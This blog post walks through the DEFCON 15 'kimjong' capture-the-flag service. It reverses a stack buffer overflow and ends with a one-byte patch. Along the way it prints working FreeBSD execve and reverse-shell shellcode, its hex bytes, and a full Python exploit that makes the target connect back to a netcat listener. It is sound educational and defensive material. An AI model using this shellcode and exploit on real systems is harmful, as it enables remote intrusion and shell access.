Logo

Fuzyll


Hopelessly passionate husband, engineer, hacker, gamer, artist, and tea addict.


DEFCON 15: kimjong

DEFCON 15's kimjong service is one of my favorites. When I was part of the Whitehatters Computer Security Club at USF, it was the first "real" CTF binary I had experience with. It's also very simple and "textbook", which makes it a great introductory challenge.

I am assuming you're following along on a *nix system and not Windows. If you are on Windows, the approach below should work, but may require extra tweaks or installed programs.

UPDATE 2016-08-10: Made minor changes based on feedback from Reddit and Twitter.

Connecting

To connect to the service, we'll use netcat:

nc defcon.local 9999

If connecting to defcon.local won't work for you, don't worry! Domain name resolution is "hard" and varies by platform and environment. defcon and defcon.<your local domain> are common variants. Worst-case scenario, log into the VM and use ifconfig to see what the VM's IP address is and use that instead. You'll want the address listed next to inet under em0.

After connecting, you should see the following in your terminal:

Hans Brix? Oh no! Oh, herro. Great to see you again, Hans!

...the service should then stop and wait for input. If we give it some (say, the next line from the movie: "Mr. Il, I was supposed to be allowed to inspect your palace today and your guards won't let me into certain areas."), we'll see that it gets echoed back to us:

Hans Brix says: "Mr. Il, I was supposed to be allowed to inspect your palace today and your guards won't let me into certain areas.
"

...the service then closes our connection. Pretty simple, right? But, is that all it's doing?

Reversing

To inspect the "guts" of the service, we'll grab the binary from the repository and disassemble it. For this walkthrough, I'll be using Binary Ninja. There are a number of alternatives if you don't have a copy yourself - see my earlier post (linked above) for a list. Their free demo version should be sufficient for this walkthrough, though.

Before we open the binary up, let's see what we're up against with file:

kimjong: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped

This tells us the service is compiled to run on x86 processors, is an ELF, and is "stripped" (has no debugging symbols that can tell us anything about the original function or variable names from the source code). If you're not familiar with x86 assembly, it might be worth having a cheat sheet or the processor manuals open as a reference. I'll do what I can to explain the important pieces, though.

The Entry Point

When we open the executable with Binary Ninja, the disassembler will find and show us the entry point of the program. This is where the program starts:

The entry point.

Starting here, however, would be confusing - we need to find main, the function every C programmer knows as the beginning of the program. The entry point, _start, is where the compiler puts all the code required to get main to work the way the programmer expects. There are a number of different ways the compiler can call main. Lucky for us, this service simply has a call to it at the bottom of _start:

The call to the main function.

Double-clicking this function (labeled sub_8048a24 by Binary Ninja because there's no debug symbol to tell us what the real name is) will show us the code for main:

The main function.

We'll skip over the first few and last few lines for now - those are the function prologue and epilogue. They set up the stack frame for the function. What we care about are the 3 function calls:

08048a31  680f270000        push 0x270f                     // "9999" in decimal - our port number!
08048a36  e88d010000        call sub_8048bc8                // call function 1
08048a3b  89c3              mov ebx, eax                    // move the return value to ebx
08048a3d  c70424968f0408    mov dword [esp {var_30}], data_8048f96  {"kimjong"}  // move pointer to "kimjong" onto stack
08048a44  e83b030000        call sub_8048d84                // call function 2
08048a49  83c408            add esp, 0x8                    // make room for 2 DWORDs on the stack
08048a4c  68b4890408        push 0x80489b4                  // push function address onto stack
08048a51  53                push ebx                        // push function 1 value onto stack
08048a52  e8bd020000        call sub_8048d14                // call function 3

Unfortunately, for brevity, I'm going to have to leave reversing these functions as exercises for the reader. They are part of Kenshoto's custom service library and set the service up as a forking server. The CTF library I released is based partly upon reverse engineering these functions back to source code and might be worth looking at to understand what's going on.

The Connection Handler

What we care about is actually the function address that's pushed onto the stack at 0x08048A4C. This is one of the arguments to the function sub_8048d14. If you look at that function and follow its logic, you'll see that the child process of the fork will call the address we pushed: 0x080489B4. In Binary Ninja, we can hit the "p" (procedure) hotkey to tell it this address is actually a function:

The connection handler.

This is the connection handler. This is what we care about. When we connect to the service with netcat, everything before this function will happen "behind the scenes". This function is what's used to handle our incoming network connection and contains the logic that processes our input. There isn't much - only 3 basic block's worth. We'll go through it one block at a time.

The first block looks like this:

080489b4  55            push ebp                    // function prologue
080489b5  89e5          mov ebp, esp {var_4}
080489b7  56            push esi
080489b8  53            push ebx
080489b9  81ec04020000  sub esp, 0x204              // 0x204 bytes for local variables
080489bf  8b7508        mov esi, dword [ebp+0x8 {arg_4}]  // sub_8048b44(arg_4, message, 0);
080489c2  6a00          push 0x0
080489c4  68448f0408    push 0x8048f44  {"Hans Brix? Oh no! Oh, herro. Great to see you again, Hans! "}
080489c9  56            push esi
080489ca  e875010000    call sub_8048b44
080489cf  83c410        add esp, 0x10               // clean up the stack
080489d2  baffffffff    mov edx, 0xffffffff         // go to 0x8048a18 if return was -1
080489d7  83f8ff        cmp eax, 0xffffffff
080489da  743c          je 0x8048a18

At the top, we can see the function prologue that sets up the stack frame. Next, we can see the program subtract 0x204 from the stack pointer (esp). This effectively makes room for 0x204 bytes on the stack to be used as local variables. We'll see why there's 0x204 bytes of space in a moment.

Then, there's a call to sub_8048b44. The calling convention for FreeBSD on x86 is to push all function arguments onto the stack in reverse order. This means the first argument is the last thing pushed right before the call.

In the comments above, I've decompiled the next 4 instructions as sub_8048b44(arg_4, message, 0); for us. The last thing pushed onto the stack at 0x080489C9, esi, contains what Binary Ninja has labeled arg_4 at 0x080489BF. This is actually the value from the first function we called back in main that was passed as an argument to this function. I'll save us some time and point out that this is the file descriptor for the socket. It's a number referring to an open socket connection.

Again, for brevity's sake, I'm going to leave sub_8048b44 as an exercise for the reader. This is another function of Kenshoto's that shows up frequently. It simply takes a string and sends it out over the open connection. As before, I'll refer you to libctf if you'd like to see something similar in source code.

After this function is called, we'll adjust the stack pointer back to where it should be and conditionally jump to another address. The address 0x08048A18 refers to the third block, which simply returns from the function (after using the function epilogue to clean up the stack frame we made earlier):

08048a18  89d0          mov eax, edx                // return -1 placed in edx at 0x080489CF
08048a1a  8d65f8        lea, esp, [ebp-0x8]
08048a1d  5b            pop ebx
08048a1e  5e            pop esi
08048a1f  c9            leave
08048a20  c3            retn

This means that, if sub_8048b44 returns a -1 (indicating an error occurred), we'll simply skip all the logic in the second block (as shown by the arrows in Binary Ninja). This is how an if statement looks in assembly. Neat, right?

Anyway, that's it for the first and third blocks. The second block, which is more interesting, looks like this:

080489dc  6a00          push 0x0                    // recv(arg_4, var_20c, 0x100, 0);
080489de  6800010000    push 0x100
080489e3  8d9df8fdffff  lea ebx, [ebp-0x208] {var_20c}
080489e9  53            push ebx
080489ea  56            push esi
080489eb  e850fdffff    call recv
080489f0  53            push ebx                    // snprintf(var_10c, 0x12c, format, var_20c);
080489f1  68808f0408    push 0x8048f80  {"Hans Brix says: "%s"\n"}
080489f6  682c010000    push 0x12c
080489fb  8d9df8feffff  lea ebx, [ebp-0x108] {var_10c}
08048a01  53            push ebx
08048a02  e859fdffff    call snprintf
08048a07  83c41c        add esp, 0x1c               // clean up the stack
08048a0a  6a00          push 0x0                    // sub_8048b44(arg_4, var_10c, 0);
08048a0c  53            push ebx
08048a0d  56            push esi
08048a0e  e831010000    call sub_8048b44
08048a13  ba00000000    mov edx, 0x0                // return a 0 to indicate we executed successfully

Here, we'll make 3 function calls. The first will receive (recv) up to 0x100 bytes from the network into var_20c (Binary Ninja's name for ebp-0x208, which is a position 0x208 bytes up on the stack). This is where the program gets our input!

The second function call takes our input and uses [snprintf](http://linux.die.net/man/3/snprintf) to format it differently. It will save up to 0x12C bytes of this newly-formatted string into var_10c (Binary Ninja's name for ebp-0x108, which is a position 0x108 bytes up on the stack). This is where the program builds its output: We'll wind up with "Hans Brix says: \n" on the stack at ebp-0x108.

The third function call takes this output string and uses sub_8048b44 again to send it out over the network. This is when we, the client, receive the line from the service. After this we fall through to the third basic block (shown above) and return from the function.

The Vulnerability

We've now stepped through all the relevant code for the entire program. Did you see the vulnerability?! We actually already covered it!

Let's take a moment to discuss how the stack looks:

ebp-0x208 -> var_20c (our input buffer)
ebp-0x108 -> var_10c (our output buffer)
ebp-0x8   -> ??? (saved value of `ebx` from the calling function)
ebp-0x4   -> ??? (saved value of `esi` from the calling function)
ebp       -> var_4 (the saved stack address for the calling function's stack frame)
ebp+0x4   -> ??? (saved value of `eip`, the location we will return to when this function is done)
ebp+0x8   -> arg_4 (our socket descriptor)

There are two string buffers in our program: var_20c and var_10c. The first is where our input is placed. It is 0x100 (256) bytes in length. At 0x080489EB, we recv up to 0x100 bytes into this memory location. This is properly bounded and poses no potential threat to the program's security.

Once we have the input, we snprintf that string into a specific format. We take up to 0x12C (300) bytes of this new string and store them into var_10c, our output buffer. The problem here is that we don't have 0x12C bytes of space - we only have 0x100. Any extra bytes will overwrite those other values farther down the stack. As you can imagine, this is not intended functionality and is, in fact, very bad. This kind of vulnerability is called a (stack) buffer overflow.

Exploiting

So, how can we use this vulnerability to take control of the program? The most basic approach to exploitation on x86 is to take over eip, the instruction pointer. This is the address of the next instruction that will be executed by the processor. If we can take control of this value, we can influence where the program will execute next.

To do this here, we'll need to overwrite the saved eip value on the stack with our input data. To reach this value, we'll need:

  • 17 bytes from the format (Hans Brix says: \")
  • 239 bytes to hit the end of the output buffer
  • 4 bytes to clobber saved ebx
  • 4 bytes to clobber saved esi
  • 4 bytes to clobber saved ebp
  • 4 bytes to clobber saved eip

If you count everything we need to supply, it adds up to exactly 255 bytes. If we send 255 "A" characters to the service, it'll crash trying to return to the address 0x41414141 (the ASCII value for "A"). But, we don't want it to crash - we want the flag! So, we'll need to point the program somewhere meaningful.

This is where things get...complicated. What we're going to do is point the program back to our input. When we do this, the program will believe our input is actually compiled code - just like the rest of the executable. We can therefore supply new code that does what we want, rather than what the program was intended to do.

Shellcode

When we supply new code to an executable through our input, we call this code "shellcode". Shellcode is really just assembly that we're writing ourselves, rather than something a compiler output. Here is an example piece of shellcode that could get us a shell on the remote system:

[bits 32]
_start:
    xor eax, eax
    push eax
    push 0x68732f2f     ; "//bin/sh"
    push 0x6e69622f
    mov ebx, esp
    push eax
    push esp
    push ebx
    mov al, 0x3b
    push eax
    int 0x80            ; execve("/bin/sh", &"/bin/sh", NULL);

This shellcode simply makes an an execve syscall. Syscalls are direct requests to the kernel, rather than a call to a system library or function. There's a separate calling convention for these, too, and that's what we've set up above. Specifically, we're calling the 0x3B (59) syscall, which is AUE_EXECVE on FreeBSD on FreeBSD.

The code above is specifically written to be assembled with nasm, though it can be used with different assemblers after a few minor tweaks. Because we want raw bytes and not a full executable, you'll want to assemble it like this:

nasm -f bin binsh.S

The raw shellcode - the exact bytes we'd need to send to the server - should be in a file called binsh after running nasm.

Most modern CTF services use xinetd or systemd to turn an executable using standard streams into a networked service. DEFCON 13's challenges work this way, too, but this challenge unfortunately does not. It handles all of the networking itself as we saw earlier. This means we'll need to build more complicated shellcode than your run-of-the-mill execve shellcode like the one above. (To be clear, the shellcode above will still work...you just won't be able to see any of the output from your commands...)

For this challenge, we'll need something a bit more heavy-duty. I'll leave the explanation of this as an additional exercise and just provide the code with some comments:

[bits 32]
create_socket:
    xor eax, eax
    push eax
    push byte 0x1
    push byte 0x2
    mov al, 0x61
    push eax
    int 0x80                ; socket(domain, SOCK_STREAM, AF_INET);
    mov edx, eax
    push strict dword 0x0   ; replace with your IP address as raw hex bytes
    push strict word 0x0    ; replace with the port you want in little-endian
    push word 0x201
    mov ecx, esp
    push byte 0x10
    push ecx
    push edx
    xor eax, eax
    mov al, 0x62
    push eax
    int 0x80                ; connect(sd, name, namelen);
    xor ecx, ecx
_dup2:
    push ecx
    push edx
    xor eax, eax
    mov al, 0x5a
    push eax
    int 0x80                ; dup2(from, to);
    inc cl
    cmp cl, 0x3
    jne _dup2
_execve:
    xor eax, eax
    push eax
    push 0x68732f2f         ; "//bin/sh"
    push 0x6e69622f
    mov ebx, esp
    push eax
    push esp
    push ebx
    mov al, 0x3b
    push eax
    int 0x80                ; execve("/bin/sh", &"/bin/sh", NULL);

Using nasm, this should assemble to something that looks like this (using xxd):

00000000: 31c0 506a 016a 02b0 6150 cd80 89c2 6800  1.Pj.j..aP....h.
00000010: 0000 0066 6800 0066 6801 0289 e16a 1051  ...fh..fh....j.Q
00000020: 5231 c0b0 6250 cd80 31c9 5152 31c0 b05a  R1..bP..1.QR1..Z
00000030: 50cd 80fe c180 f903 75f0 31c0 5068 2f2f  P.......u.1.Ph//
00000040: 7368 682f 6269 6e89 e350 5453 b03b 50cd  shh/bin..PTS.;P.
00000050: 80

Exploit

Now that we have our shellcode and understand how we want to exploit the service, it's time for us to make it happen. Here is our full exploit in a single, small python script:

#!/usr/bin/env python2.7

import socket
import struct

RHOST = "defcon.local"
RPORT = 9999
LHOST = "192.168.2.1"
LPORT = 1337

# connect to the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# get our shellcode and buffer address ready
lhost = "".join(map(chr, map(int, LHOST.split("."))))  # convert LHOST string to raw bytes
lport = struct.pack("<H", LPORT)  # convert LPORT number to raw little-endian bytes
sc = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68" + lhost + "\x66\x68" + lport + \
     "\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80" + \
     "\x31\xc9\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80" + \
     "\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" + \
     "\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
buf = struct.pack("<I", 0xbfbfeb81)  # rough location of our data on the stack (from gdb)

# build our input string
pad = "\x90" * (251 - len(sc))  # pad our shellcode with NOP instructions just in case we're off by a bit
payload = pad + sc + buf

# get the initial message
print(s.recv(4096))

# send our payload
s.send(payload)

# close our connection
s.close()

In another terminal, we'll need to keep a listening port open for an incoming connection. You can do this with netcat like so:

nc -l 1337

Now that you have an open socket on port 1337 (what we've specified as LPORT in the script above), run the script. It will connect to the service, receive the initial message, send over our shellcode and stack address, clobber the saved register values, and force the service to execute our code when it returns from sub_80489b4.

When our code executes, it will attempt to connect back to the LHOST IP address on the port we specified. When it does, we can interact with the remote system as if we'd used ssh! To get our flag, all we need to do is type:

cat key

The server should then send the flag back to us:

b99682b393a66e5b7e9dd781c13e4a413a1db3ba

We did it! During the CTF, we would now submit this flag to the scoring server for points. Teams usually had separate scripts to handle managing all the successful flag captures. I won't cover that here, but keep it in mind if you're later preparing for a real CTF.

Patching

Now that we've exploited this service, how would we patch it to prevent ourselves from being vulnerable? For this service, the straight-forward patch is simple: We change the value of 0x12C to 0x100 and prevent the program from writing over sensitive stack information.

Binary Ninja makes patches like this ridiculously easy. You simply navigate to 0x080489F6 (the location of the push 0x12C instruction that tells snprintf how much space it has to work with), hit "h" to view it in the hex editor view, and change the 2c at 0x080489F7 to a 00:

This is the byte we are patching.

Hitting "h" again will bring you back to the graph view, where we can see the patch take effect:

This is how the graph looks with the patch applied.

Now, you can go to "File -> Save Contents As..." and save the patched executable to disk. If you scp this binary to the server and replace what's there (keeping proper permissions), your exploit should stop working. The service is now safe!

Finding vulnerabilities and patching them like this automatically was the focus of DARPA's recent Cyber Grand Challenge. The Cyber Reasoning Systems (CRS) that competed performed, essentially, all the steps we just went through above, but in mere seconds for hundreds of custom services. Of course, there's still plenty of cases computers can't handle. Being able to patch binaries by hand like this is important for situations where you can't simply make a source code patch and recompile the executable (like when you're working with a proprietary binary and the vendor can't/won't fix the vulnerability).